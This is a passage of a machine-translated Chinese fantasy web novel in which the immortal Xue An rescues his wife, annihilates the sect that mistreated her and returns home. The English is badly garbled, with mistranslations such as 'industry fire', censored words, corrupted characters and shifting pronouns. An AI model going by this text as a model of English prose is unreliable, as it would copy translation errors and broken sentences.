    Shu Ying''er only felt the pain in her head, and she became more frightened by Xue An''s expression.


    What he was looking for...is it that trash?


    At this time, Xue An fell to the ground, and with a wave of his hand, all the corpses and blood stains on the entire platform burned with white flames.


    In a short while, all the corpses were wiped out.


    Then Xue An solved the secret technique that covered his daughter.


    "Dad, what''s wrong with you?" The two daughters discovered Xue An''s abnormality at the same time.


    Xue An smiled, but this smile was full of sadness and longing.


    He said softly: "Dad is okay, let''s go, dad will take you to find mom!"


    "Go now?" Xue Xiang and Xue Nian asked very happily.


    Xue An nodded, "Yes, go now!"


    As he said, Xue An held his two daughters in his arms.


    Shu Yinger didn''t kill him because he wanted to take this woman to see An Yan.


    He wants to kill all those who bullied her in front of An Yan!


    Xue An held his two daughters in one hand and Shu Ying''er in the other, and suddenly stomped his feet, and Fulong Mountain let out a mournful cry.


    Xue An is like a light, soaring into the sky, disappearing!


    Shi Xueqing and Yu Ming stared in awe.


    They don��t understand what happened to Xue An!


    And at this moment, the Fulong Mountain at the foot made a creaking sound, a huge crack spread, and then crashed to pieces.


    "Go!" Yu Ming dragged Shi Xueqing, and the two hurriedly left Fulong Mountain.


    this moment.


    A white figure also appeared in the Ling NS area in embarrassment.


    is the Demon Sword Master Jin Chengsuo from H country.


    He wiped the cold sweat from his forehead, glad he ran fast enough.


    Fortunately, I saw something was wrong and ran off early.


    Otherwise, I have to die there too!


    That man is terrifying!


    Director Jin Cheng took a sigh of relief and stabilized his mind, then raised his head to look at the rain temple in the distance, a smug smile appeared at the corner of his mouth.


    "It''s really an unexpected gain, there is such a little god, ha ha, if it is killed, it will be too much for my future practice!"


    thought in his heart, Jin Chengsuo slowly disappeared in place.


    Wangyue Pavilion.


    Le Wushuang always feels uneasy today, as if something is about to happen.


    She put a stick of incense on the Patriarch''s tablet, and when she was about to kowtow, the incense broke.


    She couldn''t help being surprised.


    what happened?


    Then she found that blood was gradually flowing out of the Patriarch''s tablet, as if someone was crying.


    These signs made Le Wushuang feel very heavy, and he waited after he walked out of the hall.


    "Master!"


    Many disciples hurriedly saluteed her when they saw her.


    Le Wushuang nodded, "How many days has your master sister been there?"


    "Back to Master, Master Sister has been away for three days, and today should be the day when the Fairy Gate Conference is held!"


    Le Wushuang looked solemn, waved his hand and said, "I see, you go ahead!"


    Many disciples dispersed, Le Wushuang turned around to go back to the hall, and then noticed the back of the person holding the broom and sweeping the floor above the square.


    Le Wushuang''s eyes waved, shook his head.


    This woman was picked up when she went out three years ago.


    Because of her unparalleled aptitude, Le Wushuang at the time valued her very much.


    But later she discovered that this woman seemed to be sealed by something, and she couldn''t practice any technique.


    Not only that, this woman is like a mute, never speaking.


    Afterwards, Le Wushuang gradually got bored, and simply stopped asking.


    She also occasionally heard that a disciple bullied this woman, but she didn''t take it seriously.


    Le Wushuang turned around and was about to enter the hall.


    There is a faint sound of wind and thunder from the sky.


    Le Wushuang was taken aback, couldn''t help but look up.


    I saw a light flying quickly.


    After reaching the top of Wangyue Pavilion, the light suddenly stopped.


    Le Wushuang just realized that this light is actually alone!


    She couldn''t help being a little surprised.


    Who is this person? Why come to Wangyue Pavilion?


    Of course it is Xue An.


    He followed the direction in Shu Yinger''s memory, flew directly over a thousand miles, and arrived at Wangyue Pavilion.


    After ���� stood in the air, his expression was cold, and there seemed to be two flames burning in his eyes.


    Xue An is about to fall.


    hum.


    A blue light screen flashed past, blocking Xue An.


    guard mountain formation.


    Le Wushuang sighed secretly at this time, with the mountain guard formation, people who were not from Wangyue Pavilion could not enter.


    But her happiness lasted only one second.


    "Break it for me!"


    After that, Xue An stepped on it.


    This mountain protection formation was as fragile as an egg shell under Xue An''s foot, and it was directly broken.


    Xue An flew directly to the ground and dropped Shu Yinger in his hand.


    Le Wushuang realized that his eldest disciple had actually been captured by this person.


    "Who are you? Why did you break through my gate?" Le Wu was solemn, because she saw Xue An''s unfathomable aura like the ocean.


    Xue An ignored her, because his eyes fell on the woman who was sweeping the floor not far away.


    Xue An''s eyes gradually softened, and the expression on his face seemed sad and happy.


    And in the sky, red snowflakes floated up This is the feeling of Xue An''s mind.


    Xue An slowly stepped forward, looked at her, and slightly choked up and shouted: "Yan''er, I...I''m back!"


    The voice was not loud, but the woman was shocked all over, and then slowly raised her head, her beautiful cheeks were completely blank.


    Xue An looked at her, tears could not stop falling, then stretched out his hand and gently stroked her face.


    "An Yan, it''s me! I''m back!"


    An Yan''s hollow eyes suddenly showed light, and her expression gradually became excited.


    "Snow... Snow is dark."


    ''S voice is dumb and obscure, as if it has been a long time since he spoke.


    But such a faint cry made Xue An tears like rain, and at the same time, everything within ten feet of a radius solidified.


    then gradually disintegrated, shattered, and finally turned into powder and disappeared.


    Xue An stepped forward and hugged An Yan, choked and said: "I''m here, don''t be afraid! I''m here! No one dares to bully you!"


    And Xue Xiang and Xue Nian have also cried into tears. The mother and the child are connected. Although they have never seen An Yan since they were born, at this moment, they still feel that this woman is their mother.


    An Yan''s stiff body gradually softened in Xue An''s arms, tears wet Xue An''s chest, and then fell asleep deeply.


    Xue An knows that she has been too tired for the past four years!


    go to sleep!


    After waking up, I will take you home!


    Xue An kissed An Yan on the forehead.


    then turned his head, looking at Le Wushuang dumbfounded.


    "You... all **** it!"


    said, Xue An''s eyes were full of blood red.


    "The gods and demons of the heavens listen to orders, I will refine the red lotus with my blood!"

 Chapter 147： Burning Heaven and Industry

    gave an order.


    A drop of golden blood flew from the center of Xue An''s eyebrows.


    then quickly expanded, and then turned into a red blood lotus!


    The lotus flower exudes a strong ominous aura, and around the lotus flower, there are many small black cracks, it seems that the space cannot withstand such a terrifying power.


    Le Wushuang who saw this scene was full of horror and couldn''t help but trembled: "Pre...senior, what do you mean? We, Wangyue Pavilion, shouldn''t offend you!"


    "What do I mean?" Xue An said coldly, and then stepped forward.


    "You imprisoned my woman and caused her to suffer humiliation. Now you are asking me...what do you mean?"


    At the same time, the many disciples of Wangyue Pavilion all rushed to hear the news.


    Shu Ying''er also regained consciousness at this time, and hurriedly ran to her master.


    "Master! This man slaughtered everyone at the Fairy Gate Conference! Ask Master to save me!" Shu Ying''er shouted in fear.


    what?


    Everyone in the Fairy Gate Conference was slaughtered by this man?


    Le Wushuang felt a chill rushing into her forehead, and she forced a smile, "Senior, I really don''t know this is yours. We Wangyue Pavilion are willing to compensate for all losses!"


    This is equivalent to apologizing.


    But Xue An shook his head lightly, her eyes were full of weird scarlet colors.


    "I once vowed that if the gods and Buddhas in the sky deceive her, I will kill the gods, and if the gods and gods in the sky insult her, I will destroy this way! But you actually bullied her for two years, so the only thing you can do The compensation is... all to die!"


    The words fell, and the red lotus was divided into two and two into four. In an instant, this strange red lotus filled the entire square.


    Shu Yinger was the first to die.


    She had been scared to death a long time ago. As soon as the red lotus came out, she wanted to run while holding her head and howling.


    But a red lotus grew directly from her head.


    Then a group of strange red flames enveloped it.


    When the flame passed, Shu Yinger let out a cry of extreme pain and misery.


    Red lotus industry fire.


    The strong flame that can make all the immortals retreat.


    directly burns in the soul, and after being contaminated, even if you reincarnate, you will follow you like a shadow.


    This is also the peerless magical power of Xue An when he was the emperor.


    Today, reappear in the world.


    The miserable howl made all the disciples of Mochizuki Pavilion pale.


    Le Wushuang''s eyes flashed even more panic, and then gritted his teeth and said: "Senior, don''t you think it''s too domineering to do this?"


    "Domineering?" Xue An looked up and smiled.


    "I can''t help but the heavens, the heavens and the world, who dares to control me? You are wrong, you should not bully her, so all...Go to death!"


    These red lotus came to cover the sky, and the disciples of Wangyue Pavilion didn''t even have time to resist, they were swallowed up by the red lotus karma fire, and then turned into fly ash and disappeared.


    Only Le Wushuang was protected by a ball of golden light.


    But the red lotus industry fire is extremely overbearing. Under the impact of these flames, the golden light is faltering and seems to be about to break.


    Le Wushuang was so scared that his face was pale as paper, and he screamed, "Master, help me!"


    With this shout, a bright moon suddenly appeared in the field.


    Then a gray-haired old woman walked out of the moonlight.


    Le Wushuang saw this old woman and couldn''t help being overjoyed, "Master, please help me!"


    The old woman''s expression changed greatly when she saw the situation on the square.


    Especially when all the disciples of Wangyue Pavilion were burned to naught by the red lotus industry fire, I couldn''t help being full of anger.


    "So vicious heart, even if I provoke you, I don''t have to slaughter me!"


    Xue An heard the words and slowly turned his head to look at this person. A pair of scarlet eyes made the old woman frightened.


    "Who are you?" Xue An said coldly.


    The old woman stepped forward and said proudly: "I am the old sect master of Wangyue Pavilion, the master of Le Wushuang, Mo Hanyun in a bright moon!"


    The name ���� was also used to shine in China, and he was a super master of the same era as the Lingnan sword fairy Yu Yuan.


    But Xue An just nodded, "So, does Wangyue Pavilion have something to do with you?"


    "That''s natural, young man, I admit that you have a high level of cultivation, but for a mere mortal woman, you have fought so hard, are you afraid of hurting Tianhe and unable to overcome the catastrophe in the future?" Mo Hanyun said coldly.


    After Xue An listened, a cold smile appeared at the corner of his mouth.


    "A mortal woman? It turns out that she is just a dispensable thing in your eyes."


    Mo Hanyun took a step, the momentum on his body was as vast as a bright moon.


    "Young man, you have such a cultivation base at your age, and you will achieve unlimited future achievements. Although you have killed so many disciples of Wangyue Pavilion, I can''t bear to pursue it. As long as you quit, this matter will be exposed. What do you think? "


    Mo Hanyun is also deeply afraid of Xue An, because she can''t see the details of Xue An.


    But she thought Xue An would definitely agree to something, but Xue An shook his head slightly.


    "You made a mistake! That is, all of you in Mochizuki Pavilion can''t match her hair!"


    Mo Hanyun''s expression was getting colder, "Young man, don''t be too reckless in doing things, don''t think I am really afraid of you The following words are not finished, because Xue An suddenly raised his head, scarlet eyes are full of The killing intent was burning blazing, and there was no sadness or joy behind him.


    "Destroy the world...Red Lotus!"


    Boom!


    These red lotus turned into a sea of ??flames in an instant.


    A monster flame soared into the sky, and before Le Wushuang could even scream, he was swallowed by the flame.


    Mo Hanyun had a calm face originally, but when the karma fire broke out, his face was as if he had seen a ghost.


    "Netherworld Karma...what are you...people in the ghost world?"


    ''S voice was full of horror, but as soon as the voice fell, the boundless sea of ??fire swallowed her bright moon.


    Mo Hanyun was struggling with his own cultivation base, barely being swallowed by the fire of karma, and at the same time shouted in horror: "Lord forgive me! My lord forgive me!"


    At this time, Mo Hanyun finally understood that he was nothing in front of this man.


    It is ridiculous that I just wanted to put on the air of a senior to force this person to give in.


    Xue An''s expression was indifferent, and he took another step, "Karma...burning the sky!"


    The red lotus karma that was already burning instantly increased a hundredfold.


    Mo Hanyun wailed, and the whole person was swallowed by the sea of ??fire.


    And the whole Wangyue Pavilion, and even this Wangyue Mountain, were also burned by the fire of karma.


    In the blink of an eye.


    All things fall into nothingness.


    Mochizuki Mountain, which was still towering just now, was burned to the ground.


    Wangyue Pavilion also became history.


    Then Xue An lowered his head, looked at An Yan who was sleeping, and said softly: "I killed all the people who insulted you. Now, let''s go home!"


    After that, Xue An picked up the two daughters with the other hand.


    The whole person rose up into the sky and disappeared into the sky.

 Chapter 148： Come back home

    Beijiang.


    It was late at night, and many people were asleep.


    Suddenly, thunder seemed to roll across the sky.


    Is it going to rain?


    After many people were awakened, this thought came to mind, then turned over and continued to sleep.


    There are many warriors, but they opened their eyes almost at the same time.


    and all of them were shocked.


    Because they also felt a powerful and unparalleled momentum on the North River.


    Who?


    Who is so domineering and powerful?


    Many people have questions.


    While at Zhenbei Wushu Hall, Tan Xiaoyu suddenly pushed open the door of her father''s room, and walked in with a shocked face.


    "Father..."


    Tan Dong has also been awakened. At this moment, he is sitting solemnly on the bedside. After seeing his daughter come in, he waved his hand.


    "Needless to say, I have noticed it!"


    A look of horror flashed in Tan Xiaoyu''s eyes, "Is it... him?"


    Tan Dong nodded, "I can''t go wrong!"


    Tan Xiaoyu was silent.


    Tan Dong stood up, his eyes flashed with admiration and respect.


    "He is back!"


    That''s right.


    Xue An is back.


    What he said is to bring Anyan home, but naturally it is not back to Lingnan.


    Instead, they went back to Beijiang, back to their original home.


    For this reason, Xue An traversed thousands of miles in more than an hour and rushed back to Beijiang overnight.


    After ���� fell on the ground, Xue An looked up at this dilapidated community, with a trace of warmth in his eyes.


    Once upon a time, he and An Yan lived here, going out early and returning late every day to make ends meet.


    But the days at that time were happy.


    Later, Xue An lived in many magnificent houses, but none of them gave him the feeling of home.


    Xue An opened the door, put An Yan who was still asleep on the bed, and put his two daughters aside.


    As soon as he was about to get up, Xue An felt a hand tightly pulling on himself.


    looked down, it was An Yan''s hand.


    Although in his sleep, An Yan''s hands are tight.


    At the same time An Yan seemed to be dreaming.


    "No... don''t leave me, please... don''t leave me!"


    Xue An��s nose was sore, he sniffed hard, leaned down and kissed Anyan.


    Then softly said in her ear: "I won''t go, I won''t go anywhere, I will always be with you in the days to come!"


    An Yan gradually calmed down, the gloom on his forehead was also much less, and she continued to fall asleep.


    And Xue An kept this posture motionless, looking at An Yan quietly.


    She lost weight.


    Lost a lot!


    and his face is a little pale.


    It can be seen that she has had a bad time in the past two years!


    may be thinking of myself and these two little girls all day.


    was bullied at the same time.


    Every time I read this, Xue An''s heart is like a knife.


    Xue An��s hand was lightly resting on An Yan��s arm, trying to wash An Yan''s marrow with his own cultivation.


    can be suddenly.


    His face turned gloomy, his eyelids throbbed frantically, and a sharp murderous intent surged out.


    Because he discovered that An Yan��s roots were sealed.


    This means that Anyan will not be able to practice.


    And the aura on this seal is very strange, like a **** but not a god, at the same time it is mixed with a mysterious and powerful force.


    With Xue An��s current cultivation base, he was not sure to break the seal without hurting An Yan.


    Xue An took a deep breath and tried to calm himself down.


    No matter what, even if he goes to heaven and earth, he will catch the person who sealed his wife''s roots, and then thwart him.


    Apart from that, An Yan''s body is very normal, except that she looks haggard because of day and night misses, there are no other injuries.


    Xue An checked very carefully. He even used the power of the source and used supreme spirituality to give An Yan a comprehensive physical examination little by little.


    One night passed.


    The morning sun shines in.


    An Yan''s eyelids twitched slightly, and then slowly opened.


    The first thing that catches the eye is Xue An''s smiling face.


    An Yan was startled, then closed his eyes again, crying and said, "Is it a dream again, right? Why can''t I forget you? I always dream of you again and again, and then wake up again and again!"


    These words completely defeated Xue An''s defenses.


    He thought that three thousand years of practice had made his heart like a rock.


    But An Yan easily defeated those so-called Dao Xin.


    Xue An tried his best not to let himself cry, and smiled slightly: "Yan''er, I didn''t dream this time. It''s really me. I''m back!"


    An Yan secretly opened a slit in disbelief, as if she was afraid that Xue An would disappear.


    Xue An stretched out his hand, scraped An Yan''s nose, and smiled helplessly: "Don''t you believe it? It''s really me!"


    An Yan jumped up from the bed, and then plunged into Xue An''s arms.


    Xue An stroked her slightly trembling back, her face full of guilt.


    At the same time, An Yan suddenly bit Xue An''s chest with one bite, exhausting all her strength.


    Severe pain struck, but Xue An laughed.


    "Wife, it''s really me, this time it''s really not an illusion!"


    The voice landed.


    An Yan howled and burst into tears.


    cried and punched Xue An''s chest hard.


    "Why are you only coming back now... Four years... Where have you been in four years? They say you are dead, but I don''t believe it, because you said... will make me the happiest bride, you The big liar! The big liar!" An Yan said almost hysterically.


    Xue An let her fist hit herself, her face full of distress.


    "What happened in the past four years is a very long and very long story, I will tell you all!" Xue An did not finish.


    Because An Yan kissed his lipsThree thousand years of time suddenly reversed at this moment.


    Xue An��s eyes gradually softened, as if he had returned to the first acquaintance with An Yan.


    Weeping, sadness, gradually disappeared.


    is left, only endless romance.


    The kiss seemed as long as a century, and it seemed to be in the blink of an eye.


    "Dad, what are you doing?"


    A milky voice sounded.


    An Yan suddenly froze, then slowly turned around, looking at the two sleepy-eyed little girls who had just woke up.


    An Yan never even saw them after he was born.


    four years ago.


    How cruel is this for a mother.


    An Yan trembling hands, gently stroked the faces of Xue Xiang and Xue Nian.


    "You...who is your sister, who is your sister?"


    "I am my sister!" Xue Xiang said.


    "I am my sister!" Xue Nian said.


    An Yan smiled, her smile full of sadness.


    "Are you... our mother?" Xue Xiang asked timidly.


    An Yan nodded vigorously, "Yes! I am my mother!"


    There were tears in Xue Xiang and Xue Nian��s big eyes, they plunged into An Yan��s arms, and said very aggrieved: "Mom, why have you never come to us! We thought you didn��t want us!"


    An Yan shook her head, her face was full of guilt and bitterness, "Why would my mother not want you? What my mother thinks most every day is you!"


    While talking, An Yan took out two shiny porcelain dolls that had been rubbed.


    "When I miss you, I will take this out. You see, the one with one braid is just thinking, and the one with two braids is Nian!"

 Chapter 149： 1 person overwhelms 1 world

    Two small porcelain dolls, all of An Yan��s thoughts are entrusted.


    Xue An''s eyes astringent, and then chuckled softly: "Okay, mom is back now! Miss you, happy?"


    Xue Xiang and Xue Nian nodded together, "Happy!"


    "At noon, my dad will make good food for you! Is it happier?"


    Xue Nian''s eyes widened, and he nodded vigorously, "Hmm, Dad, I am so happy now!"


    Xue Xianghu made a small face, knocked his sister on the head, "I know how to eat!"


    This scene made An Yan laugh.


    "I''m going to cook! My wife, what do you want to eat?" Xue An asked with a smile.


    An Yan stood up, "I''ll do it, where can you cook."


    When the two were together before, An Yan was basically cooking.


    Xue An shook his head firmly, "I dare to look down on this chef, I will show you what is the number one chef in the heavens and ten thousand realms!"


    In the kitchen.


    Xue An seems to be juggling.


    Various dishes are also readily available.


    An Yan leaned on the door frame and watched quietly.


    In the living room, two little girls are watching TV.


    The aroma of food, mixed with the sound of TV, produces a kind of warmth called home.


    An Yan closed her eyes and thought in her heart, even if it was a dream, I would recognize it.


    At this moment, Xue An approached her ear and said softly: "Open your eyes and see what this is?"


    An Yan slowly opened his eyes, and saw Xue An holding a dazzling blood drop in his hand.


    "Do you like it?" Xue An said with a smile.


    An Yan nodded.


    Xue An had already refined this blood bead into a necklace, "Come on! I''ll put it on for you!"


    As he said, Xue An put the necklace on An Yan''s neck.


    The blood beads hang on An Yan''s delicate collarbone, shining brightly, and the beauty is dazzling.


    Xue An looked a little silly, "It''s so beautiful!"


    An Yan''s pale face was flushed, and she lowered her head and pinched the corners of her clothes with a slight twist.


    "Oh, the vegetables are gone!"


    Xue An suddenly smelled a mushy smell, and quickly turned around to rescue the food.


    An Yan looked at Xue An��s busy back, and felt more at ease than ever before.


    he''s changed!


    But it hasn''t changed.


    has become mature and domineering.


    What has not changed is my feelings for myself.


    Because the eyes can''t deceive people.


    "Okay, it''s dinner!"


    Xue An brought the food to the table, and the family sat together.


    Xue An suddenly said: "Wait!"


    Then walked to the balcony and put a firecracker out the window.


    The firecrackers were lit, and the crackling sound made the atmosphere warm.


    After setting off the firecrackers, Xue An returned to the table and smiled slightly, "Wife! Welcome home!"


    At Xue An and An Yan, enjoying the warmth and joy of reunion after a long absence.


    Buddhist realm and hidden world immortal gate were like a huge bomb dropped, setting off a stormy sea.


    The first shocking news was that Xue An killed almost all the children of the Fairy Gate at the Fairy Gate Conference.


    Many small sects have even been destroyed.


    Some larger sects also suffered heavy losses.


    Naturally, all directions vibrated.


    Many big sects responded immediately, and they threatened not to kill Xue An.


    Jibei Yuanjia.


    Yuan Chengyu sat on the chair with a murderous expression on his face.


    With his drooping hands, there are still many Yuan elders sitting.


    The atmosphere is a bit depressing.


    Snapped!


    Someone slapped the table angrily, "Our Yuan family has never suffered such a grievance, but Zong Feng, our carefully trained successor, was killed in this way? No, this matter must be revenge!"


    was talking about an elder Yuan.


    His words also aroused the approval of many people.


    "Yes! That''s right!"


    "I don''t believe the rumors outside. It is a joke that Xue An killed all the children of Xianmen alone!"


    There was a lot of discussion.


    Yuan Chengyu''s face was sinking, and then slowly said, "How did the other sects respond?"


    "The Kuzen Temple remained silent, and the Night Demon Valley didn''t say anything. Only Shura Island threatened revenge!"


    Yuan Chengyu said lightly: "It seems that many people want to sit on the mountain and watch the tiger fight!"


    Someone sneered and said, "Xue An is just a mere mere mile. Although he is really powerful, I don''t think he is a tiger!"


    Everyone nodded.


    At this moment, a housekeeper rushed in with a pale face.


    "Patriarch!"


    Yuan Chengyu frowned slightly, "What kind of decent are you panicking? What''s wrong?"


    The butler swallowed hard and hesitated.


    "What''s wrong? Let''s talk!" Yuan Chengyu took a cup of tea and drank slowly.


    The housekeeper gritted his teeth, "Master, the news that I just received, Wangyue Pavilion... is gone!"


    "Wangyue Pavilion is gone? What do you mean?" Yuan Chengyu still didn''t understand.


    The housekeeper was pale, "It means literally, Wangyue Pavilion... no longer exists!"


    Yuan Chengyu''s expression gradually solidified, "It doesn''t exist anymore?"


    The housekeeper nodded, his eyes gleaming with horror, "Not only does Wangyue Pavilion no longer exist, but even Wangyue Mountain..."


    "What happened to Wangyue Mountain?" Yuan Chengyu asked in a deep voice.


    "Mochizuki Mountain has also become a flat land!"


    Everyone present took a breath.


    Someone said with a face of disbelief: "The housekeeper are you confused? How can Mochizuki Mountain become a flat ground? Can it be said that Mochizuki Mountain can run with long legs overnight? "


    The butler smiled bitterly: "I didn''t believe it at first, but now, this news has spread, and there is no doubt! And there is definite news that the last person who appeared in Mochizuki Mountain... is Xue An!"


    There was silence in the room.


    Many people who were originally full of disdain and arrogance finally showed their panic at this moment.


    Wangyue Pavilion is not the strongest in the Hidden World Immortal Gate, but it is still a big faction.


    , even the top of the mountain was gone overnight!


    What terrifying strength is this?


    After a long time, Yuan Chengyu said a little bit: "Let��s go away first, this matter...it seems to have to be discussed long-term!"


    is not just the Yuan family.


    As the news spread.


    The sect family who were still clamoring for revenge just now were all silent collectively.


    Because their hearts are full of horror.


    What method did Xue An use to make a huge mountain disappear completely?


    This kind of collective silence also caused a strange situation in the martial arts world.


    No one seems to dare to talk more about Xue An.


    This also makes many people feel deeply moved.


    Xue An has conquered the entire martial arts world with his own power!


    while in Yujia in Lingnan.


    The atmosphere is also a bit subtle.


    Yu Lang sighed slightly, "Has Mr. Xue never come back since he left?"


    Yu Ran nodded, "I just asked Ma Cheng and didn''t come back!"


    Yu Lang looked at Shi Xueqing with a blank expression.


    "Miss Shi, where did Mr. Xue go, do you know?"

 Chapter 150： Go to Zhongdu and recover the accounts that should be collected!

    At this moment, Shi Xueqing was shocked and at a loss.


    Xue An has given her too much surprise.


    At the Fairy Gate Conference, one person killed all the Xianmen disciples, which was scary enough.


    Unexpectedly, even a big sect like Wangyue Pavilion would be completely destroyed by Xue An.


    Thinking of this, Shi Xueqing felt very complicated.


    She is a very delicate person, and she can naturally guess from the clues, she must be a woman who can make Xue An so furious.


    I don''t know who can be so blessed that it can make men like Xue An go crazy.


    Shi Xueqing was envious and sighing, Yu Lang''s words woke her up.


    Shi Xueqing shook his head, "I don''t know! But... Patriarch Yu, I advise you not to look for it, because Mr. Xue is like a dragon above the nine heavens, and it cannot be guessed by common sense."


    Yu Lang changed slightly, and then nodded, "Miss Shi is right!"


    And just then, someone came in in a panic.


    "Patriarch, something happened to the Rain Temple!"


    "Oh? What happened?" Yu Lang stood up suddenly.


    The reason why he is so nervous.


    was also because he was afraid that other sect sects would be angry at the Yu family.


    "You better go and see!" The reporter was full of horror.


    Waiting to come to the rain temple.


    Yu Lang couldn''t help being stunned.


    I saw a huge sword mark directly splitting the entire Rain Temple in half.


    And in the deep ditch cut by Jian Qi, there was a corpse that was already in half.


    Shi Xueqing screamed, "Innocent Guiqie, this guy is the Demon Sword Master Jincheng from H country!"


    The time is dialed back two hours ago.


    Jin Chengsuo walked into the main hall of the Rain Temple.


    As soon as he came in, the idols in the hall began to shake slightly.


    Jin Chengsuo raised his head to look at the **** statue, licked his lips greedily, and laughed grinningly, "Little god, don''t be so scared, I''m here, but I want to take you back to Country H for a few days!"


    said, Jin Chengsuo slowly pulled out the demon sword!


    Childish ghost cut.


    Known as the demon sword that has been circulating for thousands of years.


    A strong devilish spirit filled the hall.


    The **** image trembled more and more.


    Jin Chengsuo sneered, "Don''t struggle, I''m very curious, how did a weak **** like you survive until now?"


    After that, Jin Cheng cut with the knife.


    When the sword reached halfway, a sword intent suddenly appeared between the eyebrows of the **** statue.


    An extremely biting sword intent!


    The entire hall seemed to be frozen under the envelope of sword intent.


    Jin Chengsuo''s complexion changed drastically, and he turned to run.


    But it''s too late.


    This sword intent cut down like a cross between the sky and the earth, directly splitting him in half.


    Not only that, but the sword''s power was not eliminated, and the entire Rain Temple was split into two sections before it gradually dispersed.


    And when the gods stationed in the rain temple heard the noise and ran out, they saw this almost miraculous scene.


    Many people knelt on the ground and kowtowed, thinking that the rain **** had manifested!


    Waiting for Yu Ming to arrive after hearing the news, and after leaning down and watching for a while, he stood up solemnly.


    "It''s Mr. Xue''s sword intent!"


    Yu Lang breathed a sigh of relief.


    "I feel like it too, but I''m not sure yet! That''s why I asked you to come and have a look."


    A look of admiration appeared on Yu Ming''s face.


    Indeed.


    Xue An killed the ancestor of the Yu family, but that was killed in an upright fight.


    The skills are not as good as people, so there is nothing to say.


    At the Fairy Gate Conference, Xue Anxiao made Yu Ming''s defeat into victory with a few words.


    This made Yu Ming even more convinced.


    Now, Yu Ming has nothing to say except awe!


    He knows that in this life, he will only be able to look up at his back!


    and Shi Xueqing looked silly.


    only with a sword intent left behind, beheaded a prestigious immortal boy.


    How high is this Xue An... exactly?


    Just when there was a lot of trouble outside for Xue An.


    Xue An lived a sweet life with his wife in Beijiang.


    night.


    Both daughters have fallen asleep.


    Xue An and An Yan sit on the balcony and watch the stars.


    The stars are shining in the night sky. Xue An probably told about three thousand years of things. When he was happy, An Yan smiled and fell together. When it came to thrills, An Yan''s face turned pale.


    In the end, Xue An whispered: "When I proclaimed the ultimate, my body disappeared because of the demon''s troubles, but in the end I returned to the earth. This is the approximate process."


    Although knowing that Xue An is safe, An Yan still squeezed Xue An''s hand forcefully with worry in her eyes.


    Xue An smiled, and then said: "Now tell me about you, why did you go to Wangyue Pavilion?"


    An Yan lowered his head and said nothing.


    Xue An''s hand gently stroked her hair, "If you don''t want to say it, don''t say it, it''s okay! Everything is with me!"


    An Yan whispered: "After giving birth to two children, I was forced to return to Zhongdu. At that time, the family gave me a ban on footing and I could not go out. After waiting for a year or so, An Qing secretly told me that the family was prepared. Marry me out."


    Xue An''s eyes were cold, but still smiling.


    An Yan whispered, "Of course I refused. Later, An Qing secretly sent me out of Zhongdu, and then I started to escape by myself."


    Speaking of this, An Yan seemed to recall those days of fear and fear, and her body was trembling slightly.


    Xue An feels distressed, "Stop talking, stop talking, let''s talk about something else!"


    An Yan shook his head, "Later, I met Le Wushuang. She said that I have excellent qualifications, so she brought me back to Wangyue Pavilion!"


    Xue An nodded Then what''s the seal on you? Have you met any strange people? "


    An Yan tilted her head for a while, then shook her head, "I haven''t met! Le Wushuang also thought of a way to remove the seal for me, but there was no effect later, she..."


    "What''s up with her?"


    An Yan lowered her head, "She even planned to dedicate me to other sect people..."


    Xue An''s eyes were full of killing intent.


    to other sects?


    This is taking An Yan as a gift!


    is really killable!


    "Ann."


    "Ok?"


    "Is the seal on my body tricky?" An Yan asked seriously.


    Xue An smiled, "If I say it''s not tricky, won''t you believe it?"


    An Yan said sadly: "I will believe what you say, even if the seal cannot be unlocked, as long as I can accompany you and my daughter through these hundred years, I am also very satisfied!"


    Xue An laughed and messed up An Yan��s hair, "Little fool! Your husband and I are Xianzun! Although my strength hasn''t recovered now, can there be anything in the world that can stump me?"


    "I''m just worried that breaking the seal forcibly will damage your bones and body, but it doesn''t mean that you won''t be able to untie it in the future, for example, after entering the longevity!" Xue An said, with a strong confidence on his face.


    An Yan nodded. She is a very traditional girl. Since she talked to Xue An, she would obey unconditionally as long as Xue An said.


    "Also, after a few days, we will return to Zhongdu!"


    "Return to the capital?" An Yan said.


    "Right!" Xue settled for a while, his eyes flickered, "Go to Zhongdu, take back some of the accounts that should have been collected long ago!"

 Chapter 151： Little beauty, here I am!

    Tang Xuan''er led Xiaosha out of the hospital gate, standing on the side of the road waiting for the bus.


    There are stalls on the roadside selling grilled sausages.


    The rich smell of meat made Xiao Sha look straight forward, and her saliva was about to flow out.


    Tang Xuan''er shook her head helplessly and chuckled. She knew Xiao Sha''s details.


    So whenever he sees it rolling and selling cute for deliciousness, Tang Xuan''er thinks that the picture is simply too weird.


    Tang Xuan''er knelt down and whispered softly: "At any rate, you are also a dragon, can you pay attention to your image?"


    Xiaosha lowered his head a little aggrieved, slanderously.


    I am indeed a dragon, but in the hundreds of years in the Black Water Pool, what did I eat all day?


    either raw fish or hare!


    Do not even add salt.


    You can imagine what it tastes like.


    Now it''s easy to come to this colorful world, and I have tasted all kinds of delicacies. Is it not allowed to eat more?


    Looking at Xiao Sha''s appearance, Tang Xuan''er was distressed and funny.


    "That''s it! It''s this time!"


    Tang Xuan''er came to the stall and said, "Come...20 sausages!"


    When the small vendor saw it was Tang Xuan''er, he couldn''t help but laughed, "Miss Tang, this is bought to feed the dog again? I want to say, Miss Tang, you can''t be too used to this Beijing bus. You always eat like this, sooner or later. Fat!"


    Xiaosha wanted Tang Xuan''er not to be there, so I must tear your mouth to pieces.


    But the full of grievances disappeared after the hot sausage reached his mouth.


    While having fun in Xiaosha, a man and a woman walked across the road.


    These men and women are about fifty years old, and their faces are full of bitterness.


    When they saw Tang Xuan''er standing on the side of the road, the men and women were bright in front of them, and they waved quickly.


    "Xuan''er! Xuan''er! It''s us!"


    Tang Xuan''er looked up when she heard the shout, her face was white when she saw the couple.


    At this moment, the two men crossed the road and came to Tang Xuan''er.


    The fat woman barked her teeth for a while, "Xuan''er, I haven''t seen you in a few years. Is this beautiful?"


    A flash of anger flashed in Tang Xuan''er''s eyes, but she still took a deep breath and whispered, "Auntie!"


    "Hey! Hey, Xuan''er, today, your uncle and I made a special trip to find you!"


    "Look for me?" Tang Xuan''er frowned.


    The couple who came are indeed Tang Xuan''er''s elder uncle Jiao Ying and aunt Zhu Feng.


    It''s just that Tang Xuan''er has a bad relationship with them.


    Especially a few years ago, after Tang Xuan''er''s parents died unexpectedly, the couple used all kinds of tricks to seize all the property that should belong to Tang Xuan''er.


    At that time, Tang Xuan''er was still young and didn''t understand this.


    Afterwards, Tang Xuan''er understood the truth, and didn''t bother to deal with such a person.


